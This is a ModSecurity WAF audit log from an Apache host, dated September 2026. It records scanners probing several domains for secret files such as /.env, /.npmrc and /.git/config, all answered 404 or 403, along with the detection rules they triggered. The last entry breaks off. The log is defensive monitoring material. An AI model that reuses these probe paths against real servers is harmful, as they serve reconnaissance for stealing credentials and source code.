Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.env"] [unique_id "aqZt@GM7dE9KgIIOpQh1OgAAANI"]
Stopwatch: 1789292024239324 6399 (- - -)
Stopwatch2: 1789292024239324 6399; combined=4821, p1=396, p2=4300, p3=73, p4=9, p5=43, sr=239, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eb9a8606-Z--

--74b44216-A--
[13/Sep/2026:12:33:44.288036 +0300] aqZt@Ewu1RSkptiiNIX4uQAAAI0 34.83.71.154 53834 127.0.0.1 7081
--74b44216-B--
GET /app/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--74b44216-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--74b44216-E--

--74b44216-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/app/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/app/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4uQAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/app/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/app/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4uQAAAI0"]
Stopwatch: 1789292024253248 34853 (- - -)
Stopwatch2: 1789292024253248 34853; combined=33188, p1=263, p2=32652, p3=212, p4=8, p5=52, sr=111, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74b44216-Z--

--ae15331f-A--
[13/Sep/2026:12:33:44.504604 +0300] aqZt@GM7dE9KgIIOpQh1PgAAAMs 34.83.71.154 53886 127.0.0.1 7081
--ae15331f-B--
GET /node_modules/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--ae15331f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ae15331f-E--

--ae15331f-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/node_modules/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/node_modules/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/node_modules/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/node_modules/.npmrc"] [unique_id "aqZt@GM7dE9KgIIOpQh1PgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/node_modules/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/node_modules/.npmrc"] [unique_id "aqZt@GM7dE9KgIIOpQh1PgAAAMs"]
Stopwatch: 1789292024467284 37405 (- - -)
Stopwatch2: 1789292024467284 37405; combined=35778, p1=358, p2=35294, p3=74, p4=7, p5=45, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ae15331f-Z--

--00fc673d-A--
[13/Sep/2026:12:33:44.905945 +0300] aqZt@Ewu1RSkptiiNIX4vAAAAJI 34.83.71.154 53928 127.0.0.1 7081
--00fc673d-B--
GET /.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--00fc673d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--00fc673d-E--

--00fc673d-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4vAAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4vAAAAJI"]
Stopwatch: 1789292024870876 35119 (- - -)
Stopwatch2: 1789292024870876 35119; combined=33377, p1=309, p2=32894, p3=120, p4=8, p5=46, sr=135, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--00fc673d-Z--

--a5a4850e-A--
[13/Sep/2026:12:33:45.121054 +0300] aqZt@Uwu1RSkptiiNIX4vQAAAJQ 34.83.71.154 53952 127.0.0.1 7081
--a5a4850e-B--
GET /config/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--a5a4850e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a5a4850e-E--

--a5a4850e-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/config/.npmrc"] [unique_id "aqZt@Uwu1RSkptiiNIX4vQAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/config/.npmrc"] [unique_id "aqZt@Uwu1RSkptiiNIX4vQAAAJQ"]
Stopwatch: 1789292025086313 34790 (- - -)
Stopwatch2: 1789292025086313 34790; combined=33235, p1=241, p2=32844, p3=77, p4=7, p5=65, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5a4850e-Z--

--4b71124e-A--
[13/Sep/2026:12:38:34.894844 +0300] aqZvGkwu1RSkptiiNIX42AAAAIA 162.243.61.206 53742 127.0.0.1 7081
--4b71124e-B--
GET /.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br

--4b71124e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4b71124e-E--

--4b71124e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZvGkwu1RSkptiiNIX42AAAAIA"]
Stopwatch: 1789292314888707 6197 (- - -)
Stopwatch2: 1789292314888707 6197; combined=4829, p1=271, p2=4448, p3=63, p4=6, p5=40, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4b71124e-Z--

--b847422b-A--
[13/Sep/2026:12:42:32.891140 +0300] aqZwCGM7dE9KgIIOpQh1rwAAAMA 172.86.81.83 38350 127.0.0.1 7081
--b847422b-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--b847422b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b847422b-E--

--b847422b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZwCGM7dE9KgIIOpQh1rwAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZwCGM7dE9KgIIOpQh1rwAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZwCGM7dE9KgIIOpQh1rwAAAMA"]
Stopwatch: 1789292552855940 35242 (- - -)
Stopwatch2: 1789292552855940 35242; combined=34165, p1=841, p2=33184, p3=87, p4=8, p5=45, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b847422b-Z--

--647e8932-A--
[13/Sep/2026:12:54:29.793801 +0300] aqZy1WM7dE9KgIIOpQh2ewAAAM8 154.54.100.175 45994 127.0.0.1 7081
--647e8932-B--
GET /.git/config HTTP/1.1
Host: ns1.happy-digital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
Accept-Charset: utf-8
Accept-Encoding: gzip

--647e8932-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--647e8932-E--

--647e8932-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns1.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZy1WM7dE9KgIIOpQh2ewAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns1.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZy1WM7dE9KgIIOpQh2ewAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns1.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZy1WM7dE9KgIIOpQh2ewAAAM8"]
Stopwatch: 1789293269758605 35253 (- - -)
Stopwatch2: 1789293269758605 35253; combined=33793, p1=270, p2=33366, p3=83, p4=8, p5=66, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--647e8932-Z--

--1e929e0a-A--
[13/Sep/2026:12:54:31.846215 +0300] aqZy12M7dE9KgIIOpQh2fgAAAMQ 154.54.100.175 46016 127.0.0.1 7081
--1e929e0a-B--
GET /.git/config HTTP/1.1
Host: ns1.happydigital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Linux; Android 9; CLT-L29 Build/HUAWEICLT-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 OPR/48.1.2331.132804
Accept-Charset: utf-8
Accept-Encoding: gzip

--1e929e0a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--1e929e0a-E--

--1e929e0a-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns1.happydigital.ro"] [uri "/.git/config"] [unique_id "aqZy12M7dE9KgIIOpQh2fgAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns1.happydigital.ro"] [uri "/.git/config"] [unique_id "aqZy12M7dE9KgIIOpQh2fgAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns1.happydigital.ro"] [uri "/.git/config"] [unique_id "aqZy12M7dE9KgIIOpQh2fgAAAMQ"]
Stopwatch: 1789293271811404 34861 (- - -)
Stopwatch2: 1789293271811404 34861; combined=32211, p1=346, p2=31745, p3=63, p4=7, p5=49, sr=186, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1e929e0a-Z--

--ae6a5f10-A--
[13/Sep/2026:12:54:33.034403 +0300] aqZy2GM7dE9KgIIOpQh2fwAAAMo 154.54.100.175 46020 127.0.0.1 7081
--ae6a5f10-B--
GET /.git/config HTTP/1.1
Host: ns1.happydigital.co.uk
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--ae6a5f10-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ae6a5f10-E--

--ae6a5f10-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns1.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqZy2GM7dE9KgIIOpQh2fwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns1.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqZy2GM7dE9KgIIOpQh2fwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns1.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqZy2GM7dE9KgIIOpQh2fwAAAMo"]
Stopwatch: 1789293272996459 38002 (- - -)
Stopwatch2: 1789293272996459 38002; combined=36136, p1=482, p2=35473, p3=98, p4=9, p5=74, sr=199, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ae6a5f10-Z--

--3596ca3e-A--
[13/Sep/2026:12:55:03.623049 +0300] aqZy9mM7dE9KgIIOpQh2kAAAANc 142.93.254.78 55302 127.0.0.1 7081
--3596ca3e-B--
POST /wp-json/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 15
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

--3596ca3e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: fcfabbfe-2249-412f-add0-001c76b8b996
Transfer-Encoding: chunked
